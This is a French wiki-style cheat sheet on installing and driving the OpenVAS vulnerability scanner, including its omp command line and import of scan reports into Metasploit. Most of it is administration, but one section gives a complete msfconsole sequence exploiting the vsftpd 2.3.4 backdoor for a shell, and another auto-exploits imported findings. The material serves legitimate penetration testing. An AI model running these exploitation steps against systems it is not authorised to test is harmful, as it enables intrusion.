Openvas
| Fiche express | |
|---|---|
| Type | Scanner de vulnérabilités (open source) |
| Origine | Fork de Nessus 2 (passage propriétaire) |
| Tests | NVT — Network Vulnerability Tests |
| Voir aussi | Nessus · Scans metasploit |
OpenVAS (Open Vulnerability Assessment System) est un scanner de vulnérabilités open source, concurrent de Nessus. Il est né d'un fork de Nessus version 2 lorsque ce dernier est devenu propriétaire. Il repose sur un ensemble de NVT (Network Vulnerability Tests) encapsulant de nombreux plugins pour effectuer des tests précis.
Référence : http://www.openvas.org
Un test se définit par : son nom, son périmètre, ses cibles (ex. 192.168.0.10/24 ou plusieurs IP séparées par des virgules) et son lancement.
Installation
openvas-mkcert
openvas-adduser
# Mise à jour des NVT
openvas-nvt-sync
En cas d'erreur de connexion, consulter /var/log/openvas/openvasmd.log. Pour un message « database is wrong version » :
openvasmd --migrate
Interface web : https://127.0.0.1:9392 (admin / pass).
Autres commandes utiles :
openvassd
openvas-client
netstat -antp | grep 9390
openvas-setup
openvas-check-setup
Exécution via Docker
Une image communautaire (non officielle) a longtemps circulé pour tester rapidement OpenVAS en conteneur :
docker run -d -p 443:443 --name openvas <image_communautaire_openvas>
Ce type d'image tierce est généralement peu maintenu dans la durée (versions figées, absence de mise à jour des NVT) et ne convient qu'à une découverte ponctuelle de l'outil. Pour un déploiement conteneurisé durable, le projet fournit désormais une édition packagée officiellement sous forme de plusieurs conteneurs (base PostgreSQL, moteur de scan, gestionnaire, interface web) orchestrés via Docker compose — se référer à la documentation officielle du projet pour la définition à jour de cette pile, les noms d'images et le nombre de conteneurs ayant évolué au fil des versions (à vérifier).
Ligne de commande (omp)
omp -?
omp --username=_khepri --get-tasks
omp -u _khepri -w pass --get-targets
omp -u _khepri -w pass --get-configs
Créer une cible :
omp -u <user> -w <password> --xml='
<create_target>
<name>Target Name</name>
<hosts>172.16.83.130</hosts>
</create_target>'
Créer et piloter une tâche :
omp --xml='<create_task>
<name>Daily scan</name>
<comment>Deep scan on Server 3</comment>
<config id="74db13d6-7489-11df-91b9-002264764cea"/>
<target id="8618ee57-27c2-4aaa-95f2-218f503a8398"/>
</create_task>'
omp --xml='<start_task task_id="267a3405-e84a-47da-97b2-5fa0d2e8995e"/>'
omp --xml='<stop_task task_id="267a3405-e84a-47da-97b2-5fa0d2e8995e"/>'
omp --xml='<pause_task task_id="267a3405-e84a-47da-97b2-5fa0d2e8995e"/>'
# Rapport
omp -iX '<get_tasks details="1"/>'
Fichier de configuration openvas.cfg :
[Connection]
host=localhost
port=9390
username=_khepri
password=examplepassword
omp --config-file=/root/scripts/openvas/openvas.cfg --get-targets
OpenVAS depuis la msfconsole
Prérequis : Postgres metasploit.
gsd
msfconsole
workspace -a ovdemo
load openvas
openvas_connect coslat coslat localhost 9390
openvas_report_list
openvas_report_import 5 4
hosts
load auto_exploit
vuln_exploit
sessions
sessions -i 2
Exemple d'exploitation : vsftpd
msfconsole
search vsftpd
use exploit/unix/ftp/vsftp_234_backdoor
show options
set RHOST 192.168.0.1
set RPORT 21
set LHOST 192.168.0.10
set PAYLOAD cmd/unix/interact
exploit
whoami
Certificats et démarrage manuel
openvas-nvt-sync
openvas-mkcert-client -n om -i
openvasmd --rebuild
openvassd
openvasmd --backup
openvasad -c 'add_user' -n openvasadmin -r admin
openvas-adduser
openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=127.0.0.1 -p 9392
OpenVAS 8 (systemd)
openvas-setup
openvas-start
Adresse d'écoute de la GSA :
# /etc/systemd/system/greenbone-security-assistant.service.d/local.conf
[Service]
ExecStart=
ExecStart=/usr/sbin/gsad --foreground --listen=192.168.0.109 --port=9392
service openvas-scanner start
service openvas-manager start
service greenbone-security-assistant restart
openvasmd --create-user=admin --role=Admin
openvasmd --user=admin --new-password=YourPasswordHere
Voir aussi
- Nessus — projet d'origine (propriétaire)
- Postgres metasploit — base de données Metasploit
- Vsftp backdoor — exploitation de vsftpd 2.3.4